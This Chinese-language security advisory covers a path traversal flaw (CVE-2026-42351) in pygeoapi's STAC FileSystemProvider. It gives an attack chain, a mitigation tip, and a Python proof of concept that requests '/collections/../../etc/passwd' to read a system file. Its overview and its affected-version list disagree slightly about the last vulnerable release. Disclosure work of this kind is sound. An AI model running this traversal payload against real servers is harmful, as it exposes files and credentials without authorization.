IPBUF安全漏洞报告
English
CVE-2026-42351 CVSS 7.5 高危

CVE-2026-42351 pygeoapi路径遍历漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42351
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
pygeoapi

相关标签

路径遍历pygeoapi目录泄露CVSS-7.5OGC API

漏洞概述

pygeoapi在0.23.0至0.23.3版本中存在路径拼接漏洞。攻击者可利用STAC FileSystemProvider插件,在无需认证的情况下,通过构造包含“..”的特殊URL请求,遍历服务器目录并泄露文件。该漏洞仅适用于未部署规范化代理的环境。

技术细节

该漏洞源于pygeoapi的STAC FileSystemProvider插件在处理路径时使用了原始字符串拼接,缺乏对路径遍历字符(如`../`)的有效验证。当服务未配置反向代理或前端进行URL规范化,且配置了`stac-collection`类型资源时,攻击者可发送恶意请求。由于CVSS显示无需用户交互(UI:N)和无需权限(PR:N),攻击者可直接访问受影响端点,利用路径穿越机制读取服务器上的任意目录或文件,导致高机密性风险(C:H)。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是pygeoapi服务,且版本在0.23.0到0.23.3之间。
STEP 2
探测
攻击者确认目标配置了stac-collection资源,且未部署能够规范化URL(过滤..)的代理或前端。
STEP 3
利用
攻击者向API端点发送包含路径遍历序列(../)的特制HTTP请求,试图访问预定义目录之外的文件系统。
STEP 4
数据泄露
由于漏洞存在,服务器响应并返回目录列表或敏感文件内容(如配置文件、源代码等)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-42351 - Path Traversal in pygeoapi import requests def check_poc(target_url): # Attempt to access the parent directory using path traversal # The vulnerability occurs in the STAC FileSystemProvider traversal_payload = "/collections/../../etc/passwd" full_url = f"{target_url}{traversal_payload}" try: response = requests.get(full_url, timeout=10) if response.status_code == 200 and "root:" in response.text: print(f"[+] Vulnerability confirmed at {full_url}") print(f"[+] Response content:\n{response.text[:200]}") else: print(f"[-] Target does not appear vulnerable or file not found.") except Exception as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost:5000" # Replace with actual target check_poc(target)

影响范围

pygeoapi 0.23.0
pygeoapi 0.23.1
pygeoapi 0.23.2

防御指南

临时缓解措施
建议在无法立即升级的情况下,配置Web服务器重写规则,拦截URL路径中包含“../”或“..\”的请求,以防止目录遍历攻击。

参考链接